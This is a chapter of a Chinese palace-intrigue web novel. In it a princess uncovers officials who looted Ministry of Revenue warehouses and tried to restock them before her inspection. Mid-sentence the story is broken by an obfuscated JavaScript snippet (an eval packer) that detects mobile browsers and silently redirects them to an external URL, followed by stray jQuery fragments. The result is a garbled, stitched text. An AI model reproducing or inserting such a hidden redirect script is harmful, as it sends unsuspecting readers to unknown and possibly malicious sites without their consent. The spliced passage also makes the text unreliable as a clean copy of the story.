“殿下,您就歇会吧,这么看下去什么时候是个头啊。”流云看着满桌子的账册,愁眉苦脸道。
朱予柔前些日子派人去离京城近的库房中要来账册,与户部中存着的账册进行比对核查,想要从中看出些纰漏。
可她领着几个户部小官看了三天,竟是一处错处都寻不到,不由皱眉道:“这不对,太干净了,这么多账册,就算不是有心,哪怕是无意间的笔误,都不至于一点问题都没有。”
水至清则无鱼,她不相信那些管库房的小官吏们不会在此处动手脚。
朱予柔低头苦笑,想起户部侍郎那张轻佻中带着些得意的脸,狂是狂了点,做事的本领的确不错。
想必他早就猜到自己会从这几处的账册着手清查,提前做好了准备,当真是清清白白,毫无错处。
朱予柔郁闷至极,暗自思索着对策,瞥向门口那名一直监视自己的小太监,心中逐渐有了想法。
她唤来流云,道:“这几日你就扮作我在此查账,本公主可不打算在这同他们耗下去了,须得另寻出处。”
流云一惊,为难道:“殿下,户部人这么多,被人发现怎么办。”
朱予柔无所谓道:“这有什么,一会我就吩咐下去,不许任何人打扰。全当本公主查不清账,心情烦闷。”
她将一旁的头纱覆在流云发上,道:“就这么一遮,再换身衣服,谁能看得出来。”
“殿下。”流云指了指身旁几位户部小吏,道:“恐怕瞒不过他们。”
“无妨,他们是陈伯父亲自挑选的人,信得过。”不等流云再言,朱予柔阻拦道:“好了,就这么定了,用完膳后,你便在此守着就好。”
她不甘心就这么放弃,清楚冯叶是想借核对账册将自己拖在京城,可她不能就这样被牵着鼻子走,必须主动出击,否则任由他们将一切都抹平,再想查到什么可就难了。
尘烟四起,只见一行人马正自官道上驶过。
“阿良,我们还有多久能到?”
骑在马上正眯眼观察前方路况的的朱予柔道。
“回殿下,按先下的脚程,怕是要明日中午才到。”
朱予柔眉头一皱,道:“若走小路,今晚便能到吗?”
阿良微一犹豫,道:“是,只是小路崎岖难行,属下担心殿下...”
“无碍,时间重要,换道吧。”
落日西斜,一行人终于在天黑前找到了家客栈歇下。
“殿下,已排查过,一切正常。”
朱予柔道:“你们去休息吧,明日恐怕还有场硬仗要打。”
说着,向队伍最后的一位官员一揖道:“辛苦刘大人,本宫初掌政事,许多细节还不甚清楚,这才带上刘大人,指望大人提点一二。”
刘洪是陈元升调来助其查账的亲信之人,可怜他一介文弱书生,今日为公主殿下在马上颠簸数个时辰,早就感到身心俱疲。
见公主殿下竟向他行礼,急忙回以大礼,面上扯出笑容,道:“不敢不敢,刘某能与公主殿下同行一路,已是幸事一桩,怎敢言苦。”
次日晨,朱予柔将这行人带到户部辖下存储棉布的甲字库门前。
库门极大,奈何爬满蛛网,凋败不堪。
库门前几名看守士兵见这几十人直闯向库内,急忙上前阻拦。
朱予柔轻柔一笑,拿出户部主事的官印,道:“诸位不必惊慌,本宫是韶华公主,也就是这户部的主事,今日特来巡查此间库房,这里的提举呢?叫他出来见我。”
几名士兵听后面面相觑,其中一人向朱予柔行了一礼后转身向库内走去。
不多久,一名身材矮胖的官员行至跟前,对朱予柔行一大礼道:“下官甲字库大使张仁,见过公主殿下。”
朱予柔面色微变,不悦道:“吴提举呢,为何不来见本官?”
张仁略显惊慌道:“吴大人今日休沐,不在库房,殿下有何要事,由下官转达吴大人。”
朱予柔才不相信会有如此巧合,却也懒得戳穿,道:“既如此,那就由张大人带本宫参观这库房也是好的。”
可这张仁却并不动,踌躇着道:“殿下不知,这库房的钥匙共有两把,下官这有一把,吴大人那还有一把,如今吴大人不在,这库房恐怕没办法打开。”
闻得此言,朱予柔看向身旁的刘洪,见他点头认同,才道:“既如此,还不派人将吴提举请回来。”
她知道此举怕是这些人行的拖字诀,却也无可奈何,只得先顺了他们的意,再见机行事。
“阿良,挑两匹好马,在派一人跟着,务必将吴大人尽快请回来。”
接着,朱予柔再次看向张大使,道:“张大人不请本官进去吗。”
张仁正暗自松了口气,又听见公主殿下提到自己,忙引着朱予柔向内行去。
他不明白这位尊贵的公主殿下是怎么在上面毫无通知的情况下就这么杀到了自己面前,明明冯侍郎说过已经将这为殿下拖住,令他们抓紧填上库中窟窿。
哪怕公主殿下再晚来一日,他都不怕,可...
无论如何,都要多拖几个时辰,侍郎大人调来的棉布已经到了,只要运进库中,一切便都平安无事了。
朱予柔不理他一副小心翼翼的神情,转头问刘洪道:“刘大人是否巡查过此地,可知库房所在?”
刘洪小声回道:“下官确曾来过,库房位置大致记得。”
朱予柔点头道:“好,一会看我指令,咱们闯进去。”
行至房内,茶水早已备好,张仁恭敬笑着道:“殿下,吴大人家中离此不算近,不如请殿下在此地歇息片刻?”
“休息就不必了,还请张大人带本宫去库房看看,本宫第一次来这种地方,有些好奇。”
张仁脸上笑意一僵,说道:“殿下,库房处并无歇脚之处,且路程尚远,一来一回甚是折腾,还是...”
“怎么,张大人这是不愿带本宫去了?”
话音刚落,只听“叮”的一声拔剑出鞘,张仁脖子上已架上一把长剑。
一滴冷汗自张仁发间流下,他瞬间感到觉遍体生寒。
朱予柔并不给他开口的机会,向刘洪点头,道:“走。”
收到指令,刘洪不敢耽搁,忙在前方带路。身后影卫将张仁制住,亦
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16268844|182210||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
跟上前方队伍。
一路无话,刘洪明白公主正在争分夺秒,脚下步子迈的飞快,额间隐隐渗出细汗。
穿过一道长廊,前方视野开阔,朱予柔看见一人正指挥着士兵搬运箱子。
待刘洪看清那人的脸,微微愕然道:“吴大人?您不是...”
那人转过身来,看见这一行人,猜到朱予柔身份,跪地惊恐道:“下官...下官户部提举吴焕杉拜见公主殿下。”
朱予柔一招手,只见数名影卫出列,将搬运箱子的士兵清至一旁,抬着其中一个箱子放至朱予柔身前,抱拳归列。
她将目光从犹自颤抖不止的吴焕杉移至身前,摸着箱中尚好的棉布道:“听说吴大人今日休沐,本宫还派了人去请,怎么在这运上棉布了。”
吴焕杉颤抖着声线道:“回...回殿下的话,今日库房新到了批布料,下官...下官特来交接。”
朱予柔行至其身前,居高临下望着他,道:“吴大人,这还没到朝廷征布的时间呢,您这一箱箱棉布麻布是从哪来的啊。”
话毕,朱予柔并不多言,留下句“跟上”,便向库房内走去。
库内昏暗无比,透着一股难闻的霉味,朱予柔用手轻轻在架子上一抹,竟带下一层沉灰。
再看向架子,尽是些破旧的粗布棉麻,空荡荡少的可怜。
朱予柔寒声质问道:“吴大人,本宫问你,这库房中原本的东西呢。”
可吴焕杉早就吓得魂不守舍,哪里还能回答这话。
“户部账册上明明记录着甲字库房存储棉布麻布十九万匹,本宫前些日从你们这要来的库房账册亦是如此记录,你告诉本宫,这两册上的东西都去哪了?”
吴焕杉破罐子破摔,狡辩道:“回殿下,库内潮湿,下官是想晒一晒这些棉麻布料。”
朱予柔冷笑一声,道:“你当本宫是傻子吗,门外运送布匹的马车还未走,吴大人是打算拿到家中去晒吗?”
朱予柔不愿在与他废话,道:“来人,将这两位大人绑起来,押解回京,本宫告诉你们,早点说出该供之人,还能免去一顿刑罚。”
她当真是气的不轻,虽然料到库房这边会有数量差异,却没料到这些人这般大胆,几乎将库内东西挪了个干净,还有库外那一箱箱棉布,向来又是冯叶想的应对之法吧,只是不知他从哪弄来的这么多棉布,只怕是拆了东墙补西墙。
回到京都,将吴、张二人移交刑部,朱予柔在府中听着阿良的汇报。
她此番将手下影卫分成五队,另有一户部官员,分别派往离京城最近的五所库房,以她的名义,务必查清库房。
“殿下,不止甲字库如此,其余各库,储藏冬衣的乙字库、储藏棉花的丙字库、储藏良木丁字库全都受损严重,与账册不合,相关人等已交至刑部,而储藏弓箭、盔甲的戊字库并未见什么损失,许是而今边战在即,他们不敢拿军需做手脚。”
朱予柔心中嗤笑,什么不敢用军需做手脚,北大营距戊字库不远,那库中之物该是从北大营借来的才对。
“过两日你在带人去查一次,好了,下去吧,本宫乏了。”